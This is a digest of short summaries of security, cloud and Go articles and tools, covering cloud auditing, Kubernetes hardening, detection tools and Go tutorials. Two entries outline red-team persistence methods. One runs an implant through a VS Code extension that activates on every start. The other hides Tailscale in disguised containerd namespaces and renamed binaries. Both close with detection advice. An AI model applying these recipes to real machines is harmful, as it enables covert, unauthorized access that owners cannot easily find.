  • haiti: Hash Type Identifier CLI and Library
    summary

    TL;DR: Haiti is an MIT-licensed Ruby CLI and library by Alexandre Zanni (noraj) that identifies hash types and gives the matching Hashcat and John the Ripper formats.

    • Coverage: 675+ hash types, including modern ones such as SHA3, Keccak and Blake2.
    • Cracking refs: Shows Hashcat mode and John format for each candidate.
    • Install: gem install haiti-hash; also Docker, Debian and openSUSE packages.
    • Origin: Forked from Orange-Cyberdefense/haiti; about 1k stars.

    Takeaway: A modern replacement for hashid/hash-identifier that saves looking up Hashcat mode numbers.

  • ServerlessHorrors: Stories of Surprise Serverless Bills
    summary

    TL;DR: ServerlessHorrors is a blog by Andras (Coolify, coolLabs) collecting stories of surprise cloud and serverless bills from bandwidth spikes, DoS, runaway loops and confusing pricing.

    • Providers featured: Vercel, Cloudflare, AWS, Google Firebase and Cloud Run, BigQuery, Netlify, Mailgun, PostHog, Webflow, Framer, Mintlify.
    • Largest bills listed: Cloudflare about $120,000, Netlify about $104,500, Firebase about $100,000, Vercel about $96,280, Firebase/Cloud Run about $72,000.
    • Smaller ones: AWS $103 and $4,241, Vercel $620 to $46,485, PostHog $530 and $1,273.
    • Format: Short posts with tags and RSS; submissions by email or GitHub PR.
    • Caveat: The author builds Coolify, a self-hosted PaaS, so the site has an obvious angle.

    Takeaway: Set billing alerts, spend caps and rate limits before launch; usage-priced platforms bill attacks too.

  • From Lighthouse to Loran: Navigating GCP Security Auditing Tools
    summary

    TL;DR: Alex Morgan surveys native and open-source tools for auditing GCP security, organised around access control, visibility and misconfiguration.

    • Native: Security Command Center standard tier (free, fewer detectors, project-level visibility), Policy Analyzer and IAM Recommender (some features moved to SCC premium after 29 April 2024), gcloud, and the unofficial GCP Scanner for credential-leak impact.
    • Open source: Prowler (CIS, NIST, PCI-DSS; HTML/JSON/CSV), ScoutSuite (multi-cloud, customisable rules), CloudSploit, Cloud Custodian (enforcement, careful with termination actions), Steampipe (SQL over APIs), Purple Panda (privilege escalation paths).
    • Other: HackTricks, Cloud Vuln DB, Chronicle, GCPBucketBrute, Awesome Cloud Security.
    • Archived: Forseti and Security Monkey, since GCP built-ins cover their goals.
    • Verdict: Prowler and ScoutSuite give the best overview; Steampipe extends visibility.

    Takeaway: For a first GCP audit run Prowler or ScoutSuite plus free SCC, then Steampipe for custom queries.

  • Check Out the Shiny New Cloud Security Maturity Model 2.0!
    summary

    TL;DR: Rich Mogull (Securosis, 27 Feb 2024) announces Cloud Security Maturity Model 2.0, built with IANS Research and peer-reviewed by the Cloud Security Alliance.

    • Change: A cloud-native framework rather than existing frameworks stretched to cloud, after about nine months of research.
    • Structure: Nearly 100 control objectives usable as KPIs, in 12 categories across 3 domains, with maturity levels up to 5.
    • Mappings: Objectives map to assessable technical controls for AWS; Azure and GCP planned.
    • Usage: Start with the IANS self-assessment diagnostic (no technical access), then track with the FireMon Cloud Defense CSMM dashboard or the spreadsheet.
    • Cost: Model, diagnostic and dashboard are free; download needs no registration.
    • Disclosure: The author is IANS faculty and manages the Cloud Defense product.
    • Quote: “We don’t lack tools, but we do lack priorities.”

    Takeaway: Useful for setting a prioritised cloud security roadmap. Not every org should target level 5.

  • Ludus: Build Easy-to-Use Cyber Ranges for Testing and Development
    summary

    TL;DR: Ludus, from Bad Sector Labs, is an AGPLv3 system on Proxmox for building cyber ranges (test and lab environments) such as Active Directory networks from a few commands.

    • Automation: From a Debian 12 install to a deployed virtual AD network with a few commands.
    • Networks: Up to 254 arbitrary /24 networks with controllable traffic flow.
    • OPSEC testing mode: Snapshots VMs and cuts internet, with selective allow of domains or IPs to test live C2 without leaking telemetry.
    • Ansible and Packer: Deploy any Ansible role (Galaxy, URL, local); build templates with Packer HCL/JSON, 13 included.
    • Multi-user: Shared or private ranges; all commands support JSON output.
    • Install: Copy the ludus-server binary to a clean Debian 12 host and run it; docs at docs.ludus.cloud.

    Takeaway: A fast way to stand up repeatable AD labs for red-team tooling or detection testing on your own Proxmox box.

  • Persistence: Visual Studio Code Extensions
    summary

    TL;DR: Penetration Testing Lab (March 2024) shows how a red team can persist on a developer machine with a custom VS Code extension that runs code every time the editor starts. Technique first described by Secarma.

    • Scaffold: npm install -g yo generator-code, then yo code creates package.json and extension.ts.
    • Trigger: Activation event "*" in package.json runs the extension on every VS Code start.
    • Payload: activate() registers and immediately executes a command that uses child_process.exec to run whoami or a local implant binary that calls back to C2.
    • Packaging: npm install -g @vscode/vsce, vsce package --allow-missing-repository --allow-star-activation.
    • Install: code --install-extension persistence-pentestlab-0.0.1.vsix.
    • Blend-in: Developers and detection engineers often run VS Code, so the process tree looks normal.

    Takeaway: Defenders should inventory installed extensions, alert on "*" activation and on code --install-extension of local .vsix files, and watch VS Code spawning unexpected children.

  • Banish OEM Self-Signed Certs Forever and Roll Your Own Private LetsEncrypt
    summary

    TL;DR: Lee Hutchinson (Ars Technica, 15 March 2024) walks homelab admins through running Smallstep’s step-ca as a private ACME CA so LAN services get trusted, auto-renewing certificates instead of self-signed ones.

    • Why: Self-signed certs train you to ignore TLS warnings and give encryption without identity verification.
    • Host: An Ubuntu 22.04 LXC container with 512 MB RAM and 8 GB disk; ARM builds exist for a Raspberry Pi.
    • Install: step-cli and step-ca .deb packages via dpkg -i, then step ca init (standalone) and step ca provisioner add acme --type ACME.
    • Service: Move config to /etc/step-ca, run as a step system user, setcap CAP_NET_BIND_SERVICE, systemd unit, systemctl enable --now step-ca.
    • Trust: Copy root_ca.crt and intermediate_ca.crt to /usr/local/share/ca-certificates/ and run update-ca-certificates on clients.
    • Clients: acme.sh (certbot or others work) using DNS-01 with nsupdate against the bind server from part one, authenticated with rndc.key.

    Takeaway: A clear recipe to run your own LetsEncrypt on the LAN. Protect the CA key and password file, since anyone holding them can mint trusted certs for your network.

  • CISA and NSA Release Cybersecurity Information Sheets on Cloud Security Best Practices
    summary

    TL;DR: CISA alert (7 March 2024) announcing five joint CISA/NSA Cybersecurity Information Sheets with cloud security best practices and mitigations.

    • IAM: Secure cloud identity and access management practices.
    • Key management: Secure handling of cryptographic keys in the cloud.
    • Network: Network segmentation and encryption in cloud environments.
    • Data: Securing data stored and processed in the cloud.
    • MSPs: Reducing risk when managed service providers run your cloud.
    • Related: Points to CISA’s SCuBA project and Trusted Internet Connections guidance.
    • Context: These are five of NSA’s ten-part “Top Ten Cloud Security Mitigation Strategies” series released the same day.

    Takeaway: Short, vendor-neutral checklists useful for policy baselines or audit evidence. Start with the IAM and key management sheets.

  • NSA Releases Top Ten Cloud Security Mitigation Strategies
    summary

    (Could not fetch full text.)

    TL;DR: NSA press release (7 March 2024) announcing “Top Ten Cloud Security Mitigation Strategies”, ten Cybersecurity Information Sheets, six co-authored with CISA.

    • 1-3: Uphold the shared responsibility model; secure cloud IAM; secure key management.
    • 4-5: Network segmentation and encryption; secure data in the cloud.
    • 6-7: Defend CI/CD environments; enforce secure automated deployment through infrastructure as code.
    • 8-9: Account for hybrid and multi-cloud complexity; mitigate risks from managed service providers.
    • 10: Manage cloud logs for effective threat hunting.
    • Premise: The accompanying PDF notes many cloud breaches stem from tenant misconfigurations.
    • Source caveat: nsa.gov returned 403. Based on search results (Infosecurity Magazine, CSIAC) and the linked CSI PDF listing.

    Takeaway: Use the ten sheets as a gap-analysis checklist; CI/CD, IaC and logging are the ones most teams under-invest in.

  • The Missing Guide to AWS API Gateway Access Logs
    summary

    TL;DR: Alex DeBrie’s long-form guide (January 2021) to configuring, formatting and querying AWS API Gateway access logs, the one-line-per-request logs you want for debugging things like 500 spikes.

    • Access vs execution logs: Access logs write one line per request. Execution logs produced 32 lines for a single request in his test, so he keeps them off normally.
    • Formats: CLF, CSV, JSON or XML. He prefers JSON for readability; a sample JSON line was about 250 bytes versus 103 for CLF.
    • IAM role gotcha: The CloudWatch log role is a per-region singleton set via AWS::ApiGateway::Account. Deleting the stack that owns it can silently stop logging for every API in the region; use DeletionPolicy: Retain or a standalone stack.
    • Useful fields: requestId, status, responseLatency, integration.requestId. Keep numbers unquoted but quote - placeholders so the JSON stays valid.
    • Tooling: Serverless Framework (provider.logs), SAM (AccessLogSetting for REST, AccessLogSettings for HTTP APIs), CDK (AccessLogFormat.custom).
    • Querying: CloudWatch filter { $.status >= 500 } and Logs Insights aggregations grouped by resourcePath.
    • Limits: HTTP APIs lack X-Ray and resourcePath (use routeKey); authorize.latency always showed 0; CDK’s built-in JSON format omits useful fields.

    Takeaway: Turn on JSON access logs with a custom field set, and keep the account-level CloudWatch role out of any stack you might delete.

  • CloudGrappler: Query High-Fidelity Threat Actor Detections in AWS and Azure
    summary

    TL;DR: CloudGrappler is an Apache 2.0 Python tool from Permiso that runs high-fidelity, single-event threat-actor detections against cloud logs stored in AWS S3, Azure containers and GCP buckets.

    • Engine: Built on cloudgrep, which searches log objects directly in storage rather than in a SIEM.
    • Scope config: data_sources.json lists AWS buckets/prefixes and Azure accounts/containers; a query source of * scans both AWS and Azure.
    • Usage: python3 main.py runs default queries, -p adds Permiso threat-intel use cases, -jo writes JSON reports to reports/json.
    • Filtering: -sd 2024-02-15 -ed 2024-02-16 for a date range, -q "UpdateAccessKey" -s '*' for an ad-hoc query, -f new_file.json for a custom query file.
    • Auth: AWS CLI config or instance profile, az login, and GOOGLE_APPLICATION_CREDENTIALS for GCP.
    • Limits: README recommends short time ranges for speed; no benchmarks or volume limits documented.

    Takeaway: Handy for quick IOC sweeps over raw CloudTrail/Azure logs in storage when you have no SIEM or need a second look during an incident.

  • How We Sped Up AWS CloudFormation Deployments with Optimistic Stabilization
    summary

    TL;DR: AWS DevOps blog post (March 2024, Bhavani Kanneganti and Idriss Laouali Abdou) explaining CloudFormation’s new optimistic stabilization strategy, which AWS says cuts deployment time by up to 40%.

    • Time breakdown: Provisioning = engine time + resource creation time + resource stabilization time.
    • Stabilization: Post-create checks that a resource is actually usable before it is marked CREATE_COMPLETE; failure within the timeout gives CREATE_FAILED and a rollback.
    • Example: aws ecs create-service returns ACTIVE while tasks are still pending, so CloudFormation polls DescribeServices until the service is steady.
    • Old behavior: Dependent resources waited for dependencies to fully stabilize.
    • New behavior: Dependents start as soon as dependencies are created; if a dependent fails, CloudFormation waits for the dependency to stabilize and retries.
    • Visibility: New CONFIGURATION_COMPLETE event status.
    • Caveat: The 40% is an “up to” figure from AWS, not a guarantee.

    Takeaway: No action needed to benefit, but expect CONFIGURATION_COMPLETE events in stack timelines and faster large-stack deploys.

  • Introducing Security Command Center Enterprise: Multicloud Risk Management with AI-Powered SecOps
    summary

    TL;DR: Google Cloud’s March 2024 announcement (Sunil Potti) of Security Command Center Enterprise, combining cloud posture/risk management with Chronicle-style SIEM/SOAR, Mandiant threat intel and generative AI across Google Cloud, AWS and Azure.

    • Risk engine: Builds a “digital twin” of the environment, simulates attacker paths, and provides attack-path visualization and risk scoring.
    • Coverage: Vulnerability and posture management, threat detection, CIEM, DSPM, AI workload protection and IaC/CI/CD scanning.
    • SecOps: Findings flow into cases with out-of-the-box response playbooks.
    • Mandiant Hunt: Optional on-demand human threat hunting.
    • Availability: GA “in the coming weeks” at announcement, subscription with workload-based pricing; existing SCC Premium customers could upgrade at no extra cost.
    • Caveats: Marketing post; no technical configuration, commands or performance data.

    Takeaway: Relevant if you are evaluating CNAPP plus SIEM from one vendor on GCP; treat the claims as vendor positioning until you trial it.

  • Now Available: Free Data Transfer Out to Internet When Leaving Azure
    summary

    (Could not fetch full text.)

    TL;DR: Microsoft’s March 13, 2024 Azure Update announcing free internet egress for customers moving their data out of Azure, following Google (January 2024) and AWS (March 5, 2024).

    • Offer: Exiting customers can transfer data over the internet to another cloud or on-premises at no charge, from any Azure region, on top of the standard 100 GB/month free egress.
    • Process: Contact Azure Support with the planned start date and data volume, finish within 60 days, and cancel all subscriptions. The credit is applied only after transfer completes and all subscriptions on the account are cancelled.
    • Exclusions: Per press coverage, specialized services such as ExpressRoute, VPN, Azure Front Door and Azure CDN are still charged.
    • Driver: Coverage links it to the EU Data Act switching provisions.
    • Criticism: Only applies when fully leaving Azure, not to multicloud egress.
    • Source caveat: The original update URL now lands on the generic Azure Updates feed; summary is based on search results (The Register, TechCrunch, CIO Dive, SDxCentral).

    Takeaway: Useful leverage in exit planning or vendor negotiation, but it does nothing for ongoing multicloud egress costs.

  • M365Documentation: Automatic Microsoft 365 Tenant Documentation
    summary

    TL;DR: M365Documentation by Thomas Kurth is a PowerShell 7 module that generates documentation of a Microsoft 365 tenant’s configuration; it succeeds his IntuneDocumentation module.

    • Coverage: Intune, Entra ID (Azure AD), Cloud Print, Microsoft Information Protection and Windows 365 Cloud PC.
    • Outputs: JSON (good for backups and diffing configs over time), CSV, Markdown, HTML and Word (DOCX).
    • Workflow: Connect-M365Doc, Get-M365DocValidSection, Get-M365Doc, then Write-M365DocWord.
    • Dependencies: Installs from the PowerShell Gallery; uses MSAL.PS for certificate or secret auth and PSWriteOffice 1.0.2+ for Word export (start a new session after updating).
    • Limits: Only assigned Intune apps are documented; component coverage is still growing; custom app registration is in a separate doc.

    Takeaway: A cheap way to snapshot M365/Intune config as JSON for change tracking or handover docs; schedule it with an app registration and diff the output.

  • More Powerful Go Execution Traces
    summary

    TL;DR: Go blog post (March 2024, Michael Knyszek) on the overhauled runtime/trace execution tracer: much lower overhead, scalable traces, flight recording and a programmatic reader.

    • Overhead: Before Go 1.21 tracing cost about 10-20% CPU; frame-pointer unwinding and other work brought it to roughly 1-2% for many apps.
    • Scalability: Go 1.22 rewrote traces so they can be split into self-contained segments.
    • Flight recording: Experimental FlightRecorder in golang.org/x/exp/trace keeps a rolling buffer and snapshots when something slow happens, e.g. an HTTP request over 300 ms.
    • Reader API: Experimental trace.NewReader / ReadEvent for analyzing traces in code, e.g. how often goroutines block on network I/O.
    • Viewing: go tool trace or the open-source gotraceui.
    • Limits: Flight recorder and reader are experimental; go tool trace still loads the whole trace into memory.

    Takeaway: Tracing is now cheap enough to leave on in production; a flight recorder triggered on slow requests is a practical way to catch tail-latency issues.

  • Measuring Your System’s Performance Using Software (Go Edition)
    summary

    TL;DR: Daniel Lemire (March 2024) shows how small Go benchmarks can reveal hardware and runtime behavior: allocations, inlining, cache lines, latency and branch prediction.

    • Benchmarks: BenchmarkXxx(b *testing.B) run with go test -bench .; b.N grows until a run lasts at least one second.
    • Allocations: b.ReportAllocs(); a 100,001-element slice allocated 802,816 bytes/op while small data stayed on the stack.
    • Inlining: -gcflags=-m reports it, //go:noinline disables it; inlined loop about 295 ns/op vs 865 ns/op.
    • Cache: A strided copy suggests a 128-byte cache line; a shuffle test suggests about 16 MB of cache.
    • Dependencies: Prefix sum 142.8 ns/op vs 30.04 ns/op for successive differences; linked lists are latency-bound.
    • Branches: Random data: branchy copy 19,518 ns/op vs branchless 7,124 ns/op.
    • Caveats: Results vary by hardware and are noisy; microbenchmarks alone do not justify optimizations; branchless can lose when branches are predictable.

    Takeaway: Good template for writing your own probes; measure on your target hardware before trusting any of these numbers.

  • For Loops and More in Go
    summary

    TL;DR: Miki Tebeka (Ardan Labs, March 2024) surveys Go loop forms and the bugs each can introduce, including Go 1.22 additions.

    • Assembly: go build -gcflags=-S shows a loop as jumps (JMP, INCQ, CMPQ, JLT); lensm for visual reading.
    • Multiple variables: Init/post clauses can update several vars, but i++, j-- is invalid Go; use i, j = i+1, j-1.
    • Labeled break: A plain break inside switch exits only the switch and can cause an infinite loop; use break loop. goto also shown.
    • Range copies: for _, a := range iterates over copies, so edits are lost; index or read/modify/write (acts[i] = a). Map values need read/modify/write too.
    • Go 1.22: for i := range 3 over integers and for range b.N in benchmarks.
    • Trivia: About 657 goto uses in the Go 1.22 standard library (rough count).
    • Limits: Range-over-func deferred to a later post; no performance data.

    Takeaway: Quick refresher on the range-copy and break-in-switch traps that still catch experienced Go developers.

  • How to Write a 4000 Stars GitHub README for Your Project
    summary

    TL;DR: Daytona CEO Ivan Burazin (March 2024) describes the README structure Daytona used at its open-source launch, when the repo reached nearly 4,000 stars in its first week.

    • Header: Logo, health badges, one-line pitch plus subtitle, visuals (GIFs via LiceCap), feature highlights, and a quickstart with as few commands as possible.
    • Body: Purpose, backstory, detailed getting-started steps; keep it concise and move depth into a docs folder.
    • Hygiene: Contributing guide, license, code of conduct (Contributor Covenant), advising git add <file1> <file2> over git add ..
    • Checklist: Remove empty sections, fix broken links, open labeled issues for missing content.
    • Beyond README: SECURITY.md, a filled About section, Releases, custom labels, “good first issue” tags, issue templates.
    • Caveats: Based on one project’s experience; no data linking README quality to stars.

    Takeaway: A reasonable checklist for launching an internal or open-source tool; the quickstart and SECURITY.md items are the cheapest wins.

  • Using GitHub Actions to Add Go Binaries to a Release
    summary

    TL;DR: Rob Allen (February 2024) shows the GitHub Actions workflow that builds Go binaries for his Flickr uploader Rodeo and attaches them to a GitHub Release automatically.

    • Trigger: on: release with type created.
    • Job: Single build job on ubuntu-latest, actions/checkout@v2, actions/setup-go@v1 with Go 1.20.
    • Build: build-executables.sh <tag> cross-compiles all platforms into ./release.
    • Upload: svenstaro/upload-release-action@v2 with GITHUB_TOKEN, file_glob: true and rodeo-* to upload everything in one step.
    • Design choice: No matrix, since one Go container can cross-compile every target instead of spinning up a runner per platform.
    • Limits: Build script is covered in a separate post; a commenter suggests GoReleaser, not evaluated.

    Takeaway: Fine for small tools; pin action versions to SHAs and consider GoReleaser if you need checksums, SBOMs or signing.

  • How I Built My Own Go Package Index
    summary

    TL;DR: Ozan Sazak (March 2024) explains how he built go.sazak.io, a vanity import path index for his Go packages, from a GitHub sync tool plus a static Next.js site.

    • Mechanism: go get fetches HTML go-import meta tags (import path, VCS, repo URL); optional go-source links source.
    • Sync tool: sync-github-repos lists public repos via the GitHub API, keeps those whose go.mod starts with module go.sazak.io/, and writes metadata (stars, latest tag, packages) to JSON.
    • Flags: HasCLIApp from a cli topic tag; AlphaRelease for pre-releases or versions below v1.0.0.
    • Frontend: Next.js, Shadcn UI, deployed on Vercel.
    • Automation: Pre-commit hook runs --username ozansz --hostname go.sazak.io --out ui/src/repos.json --force-authenticated; each push redeploys.
    • Limits: Single static page; data refreshes only at commit time.

    Takeaway: Vanity import paths decouple your module names from GitHub; this is a small, copyable pattern if you want that for a personal or company namespace.

  • Retina: eBPF Distributed Networking Observability Tool for Kubernetes
    summary

    TL;DR: Retina is Microsoft’s MIT-licensed, cloud-agnostic eBPF network observability platform for Kubernetes, providing Prometheus metrics and on-demand packet captures.

    • Metrics: Prometheus format, exportable to Prometheus or Azure Monitor, visualized in Grafana or Log Analytics.
    • Plugins: dropreason, packetforward, linuxutil, dns; packetparser for advanced metrics and CRD captures.
    • Captures: kubectl krew install retina then kubectl retina capture create --pod-selectors <app=my-app>.
    • Platforms: Linux, Windows and Azure Linux nodes; Windows Server 2019 no longer supported, use 2022.
    • Supply chain: Images verifiable with cosign against the GitHub OIDC issuer.
    • Limits: packetparser advanced mode may perform poorly on 32+ core nodes under heavy load; use basic mode there.

    Takeaway: Worth trying for packet drops and DNS issues in clusters without a full service mesh; start in basic mode on large nodes.

  • Keep Hackers Out of Your Cluster with These 5 Simple Tricks
    summary

    (Could not fetch full text.)

    TL;DR: KubeCon EU 2024 talk by Datadog’s Christophe Tafani-Dereeper and Frederic Baguelin giving a threat-informed, data-driven list of Kubernetes controls, based on honeypots and real container-escape exploitation.

    • Data: Public honeypots imitating the Docker API, Kubernetes API server and Kubelet API, plus a review of exploited container-escape CVEs; attacker goals grouped as deploy malicious workloads, backdoor the cluster, escape containers.
    • Control plane: Use managed Kubernetes, never disable API server auth, keep the API server off the internet (e.g. IAP for private GKE).
    • IMDS: GKE Workload Identity; on EKS/AKS block metadata with NetworkPolicy. On EKS, IMDSv2 alone is not enough; set hop limit to 1 on worker nodes.
    • Cloud privileges: Map pods to cloud roles with Datadog’s Managed Kubernetes Auditing Toolkit (MKAT).
    • Admission control: Kyverno, OPA Gatekeeper or Pod Security Admission; allow only vetted registries, block privileged pods and host mounts; audit first, then enforce.
    • Exploit resistance: securityContext.readOnlyRootFilesystem: true breaks many automated payloads.
    • Source caveat: No video transcript retrieved; based on the Datadog Security Labs abstract and the companion tl;dr sec guest post.

    Takeaway: A short, prioritized EKS/GKE hardening list; the IMDS hop-limit and read-only root FS items are cheap and high value.

  • Introducing TrailDiscover: Simplifying Access to Security Insights About CloudTrail Events
    summary

    (Could not fetch full text.)

    TL;DR: Adan Alvarez introduces TrailDiscover, an open catalog of AWS CloudTrail events documenting which ones attackers have abused, what they enable and what logs they produce, with a searchable site at traildiscover.cloud.

    • Structure: One JSON file per event grouped by AWS service, with event name, source, description, MITRE ATT&CK tactics/techniques, real-world-use evidence links, related research and security implications.
    • Site: Searchable Events pages and an Insights page breaking down incident sources, ATT&CK mappings and services.
    • Extras: The repo now also offers an MCP server for AI assistants and a Datadog dashboard generator.
    • Contributing: PRs for new events; run build.py in tools to regenerate site output; reuse the same URL/title when one report covers several events.
    • Caveats: Author says it is early and may contain mistakes; ATT&CK mappings are best guesses; some implications were AI-generated then reviewed.
    • Source caveat: Medium returned 403; summary based on the project’s GitHub README (adanalvarez/TrailDiscover).

    Takeaway: Good reference when writing CloudTrail detections or triaging an unfamiliar event name during an incident.

  • NamespaceHound: Protecting Multi-Tenant Kubernetes Clusters
    summary

    TL;DR: Wiz (Shay Berkovich, Megan Moore, March 2024) releases NamespaceHound, an open-source Python CLI that assesses namespace-crossing and anonymous-access risk in multi-tenant Kubernetes clusters.

    • Checks: 22 crossing types, e.g. RBAC_SECRETS_STEALING and RBAC_WORKLOAD_CREATION (both High), plus anonymous access.
    • Usage: -n NAMESPACE to scope, -c to include kube-system, -o table/json/csv/html, --kubeconfig, -v.
    • Permissions: Needs read on all resource types (admin, cluster-admin or system:masters also works).
    • Design: Stores no cluster data locally and builds no graph.
    • Framework: Extends Wiz’s PEACH tenant-isolation model to Kubernetes, with hardening advice on RBAC, storage reclaim policies and disabling token automount.
    • Limits: Risk assessment only, not enforcement; Kubernetes has no native way to monitor namespace crossing.

    Takeaway: Run it against any cluster where namespaces are your tenant boundary; findings usually point at over-broad RBAC.

  • bincapz (malcontent): Enumerate Binary Capabilities, Including Malicious Behaviors
    summary

    TL;DR: bincapz, now renamed malcontent, is Chainguard’s Apache 2.0 Go tool that enumerates program capabilities with YARA to detect supply-chain compromises, especially by diffing versions.

    • Rules: YARA-X with over 14,500 rules; third-party sets (Elastic, Mandiant, etc.) only with --third-party.
    • Targets: ELF, Mach-O and PE binaries, scripts in many languages, archives and OCI images.
    • Modes: analyze lists all capabilities, diff compares versions by risk, scan filters by threshold (default HIGH).
    • Settings: --min-risk (default low), --jobs 12, --max-depth 32, --sensitivity 5; registry auth via --oci-auth and MALCONTENT_REGISTRY_* env vars.
    • Run: cgr.dev/chainguard/malcontent:latest or make install-yara-x and make out/mal.
    • Limits: Best on Linux, weaker on macOS, weakest on Windows; analyze is noisy by design; AV may flag it due to embedded YARA strings.

    Takeaway: The diff mode is the useful part: run it between dependency or image versions in CI to spot newly added network, exec or persistence behavior.

  • Fixing Security Vulnerabilities with AI
    summary

    TL;DR: GitHub engineering post (Tiferet Gazit, February 2024) on how code scanning autofix, now Copilot Autofix, uses an LLM to propose fixes for CodeQL alerts and how they evaluated it.

    • Prompt: CodeQL query help, the alert message and line-numbered snippets along the data flow; asks for instructions, before/after code blocks and any new dependencies, without changing functionality.
    • No raw diffs: Models struggle with line-number arithmetic, so edits are expressed as code blocks.
    • Post-processing: Fuzzy matching, syntax parsing, name/type checks; suggested packages verified against registries and screened for vulnerabilities or malware.
    • Evaluation: Harness over 1,400+ JS/TS alerts from 63 CodeQL queries; success means alert gone, no new alerts, no syntax errors, test results unchanged.
    • Numbers: Iteration tripled success rate and cut LLM compute by a factor of six.
    • Limits: Initial release JS/TS only; prompt size limited visible files; edits confined to included code.

    Takeaway: The evaluation criteria are a good model for any AI-fix pipeline: re-run the scanner and tests, never trust the patch alone.

  • OPA 1.0 Is Coming: Here’s What You Need to Know
    summary

    TL;DR: Anders Eknert’s March 2024 OPA blog post on preparing Rego policies for OPA 1.0’s backward-incompatible changes.

    • Keywords: import future.keywords becomes a no-op; if and contains become mandatory in rule heads.
    • Strictness: Several strict-mode checks become default, e.g. duplicate imports and deprecated built-ins are rejected.
    • Reserved names: input and data can no longer be used as identifiers.
    • Server binding: Defaults to localhost instead of all interfaces; use opa run --server --addr 0.0.0.0:8181 to expose it.
    • Migration (v0.59.0+): Add import rego.v1, rewrite with opa fmt --rego-v1, verify with opa check --rego-v1, run with --v1-compatible.
    • Caveat: Change list described as non-comprehensive and subject to change.

    Takeaway: Run opa fmt --rego-v1 and opa check --rego-v1 across your policy repos and check any deployments that relied on OPA listening on all interfaces.

  • weAudit: Collaborative Code Auditing Extension for VS Code
    summary

    TL;DR: weAudit is Trail of Bits’ free VS Code extension for collaborative code review: bookmark findings and notes, track which files are reviewed, and export results.

    • Findings/notes: Create from a selection (default cmd+3 finding, cmd+4 note); shown in a sidebar list and highlighted inline; can span multiple regions.
    • Review tracking: Mark files reviewed (cmd+7) or regions partially reviewed (cmd+shift+7); cmd+0 jumps between partial regions.
    • Export: Markdown export, GitHub/GitLab issue creation and permalinks.
    • Sharing: Each auditor’s data lives in .vscode/$USERNAME.weaudit, which teammates can share and toggle per user.
    • Settings: Tree view mode, GitHub org, username, permalink separator, highlight colors.
    • Limits: Sharing is file-based, not real-time sync.

    Takeaway: Useful for security reviews or large PR audits where you need to prove coverage; commit or share the .weaudit files to coordinate.

  • Learning Go in 2024: From Beginner to Senior
    summary

    TL;DR: Matt Boyle’s ByteSizeGo guide (March 2024) organizes Go learning resources into Beginner, Junior, Mid-level and Senior tiers, each with books, talks, podcasts and a suggested project.

    • Beginner: Standard-library-only CLI that reads a birth date and prints age, run with go run.
    • Junior: HTTP exchange-rate server (/exchange/GBP/USD) with a naive buy signal vs the 7-day average, using table-driven tests.
    • Mid-level: Web scraper with pagination, DB storage and email alerts; concurrency primitives, pipelines, execution traces.
    • Senior: Distributed-systems framework (service discovery, load balancing, fault tolerance, consistent hashing) inspired by go-kit; Go memory model, Kubernetes memory limits.
    • Caveats: Non-exhaustive; many resources paid; some books from 2015-2016; promotes the author’s own products; a newer edition exists.

    Takeaway: The project ladder is the useful part for structuring your own or a team’s Go upskilling.

  • The Case of a Leaky Goroutine
    summary

    TL;DR: Wouter Groeneveld (Brain Baking, March 2024) walks through finding a goroutine leak that caused OOM restarts of Kubernetes pods in a Go service.

    • Detection: Grafana showed goroutine memory climbing; Pyroscope (docker run -it -p 4040:4040 grafana/pyroscope) showed goroutines parked in runtime.gopark inside pipeline functions.
    • Profiling: _ "net/http/pprof" exposes /debug/pprof/; go tool pprof with diff_base compares dumps against a baseline.
    • Root cause: A helper ToDoneInterface closed the wrong channel in defer, and the context was not derived (e.g. WithCancel), so goroutines in a long-running job never exited.
    • Testing: defer goleak.VerifyNone(t) from Uber’s goleak catches leftover goroutines.
    • Production: Uber’s LeakProf mentioned as the systematic option.
    • Fix: Do not convert channels; use derived contexts.

    Takeaway: Add goleak to tests of any code that spawns goroutines, and expose pprof so leaks can be diffed in a running pod.

  • threatcl: Threat Modeling as Code with HCL
    summary

    TL;DR: threatcl (formerly hcltm) is an MIT-licensed CLI for writing threat models as HCL files so they can live in version control and be validated in CI.

    • Format: HCL2 spec (separate repo); JSON also accepted but without imports and variables.
    • Validate: validate, with -invariants to enforce org-wide rules.
    • Outputs: export to JSON, OTM or HCL; dashboard to Markdown with custom templates; dfd renders data flow diagrams as PNG or DOT.
    • Terraform: terraform converts terraform show -json output into information_asset blocks.
    • Extras: server/query for GraphQL, beta mcp, and lsp.
    • Install: Release binaries, Homebrew, ghcr.io/threatcl/threatcl; releases have SLSA provenance verifiable with gh attestation verify.

    Takeaway: Good fit for threat-modeling-as-code: keep models next to the service, validate in PRs, and generate DFDs from the same source.

  • IAMGraph: Mapping Cross-Account Attack Paths in AWS Environments
    summary

    TL;DR: IAMGraph from WithSecure Labs (now under ReversecLabs) models AWS IAM role trust and assume-role paths across many accounts in Neo4j to find cross-account attack paths.

    • Input: Output of aws iam get-account-authorization-details for each account; permissions evaluated with WithSecure’s IAMSpy.
    • Run: iamgraph --db-uri bolt://localhost:7687 run --input-dir ./input/; model and analyse stages can run separately.
    • Database: Neo4j in Docker/Podman; NEO4J_AUTH=none for local use, else --db-user with password prompt.
    • Graph: Account, IAMUser, IAMRole, IdentityProvider, IAMPrincipal nodes with IN, TRUSTS and CAN_ASSUME edges.
    • Queries: Example Cypher for roles trusting *, roles trusting identity providers, and cross-account assume paths.
    • Limits: Accounts IAMSpy cannot load are skipped (e.g. managed policies used only as permission boundaries); large graphs overwhelm the Neo4j browser.

    Takeaway: Run it across an AWS Organization to spot unexpected cross-account trust, especially wildcard principals and third-party roles.

  • Using Tailscale for Persistence
    summary

    TL;DR: Rory McCune (raesene, March 2024) demonstrates how an attacker with brief cluster-admin access can use Tailscale for stealthy persistence on Kubernetes nodes, forming a small controllable “botnet”.

    • Tailnet design: ACL tags so controllers reach bots but bots cannot reach controllers or each other; tags must exist in the ACL policy before use.
    • Enrollment: Reusable auth key that auto-applies the bots tag.
    • Egress: Falls back to DERP over 443/TCP, so it works anywhere outbound 443 is open.
    • Hiding: containerd ctr runs the container in namespace sys_net_mon with --net-host and host root mounted read-only at /host; binaries renamed systemd_net_mon_server / systemd_net_mon_client; client run with --ssh.
    • Alternative: Static pod manifest in /etc/kubernetes/manifests so kubelet keeps it running.
    • Limits: ctr needs direct node access (e.g. SSH); post does not cover detection.

    Takeaway: Watch for unexpected containerd namespaces, static pod manifests, renamed binaries and outbound Tailscale/DERP traffic from nodes.

  • cleanowners: GitHub Action to Remove Non-Organization Members from CODEOWNERS
    summary

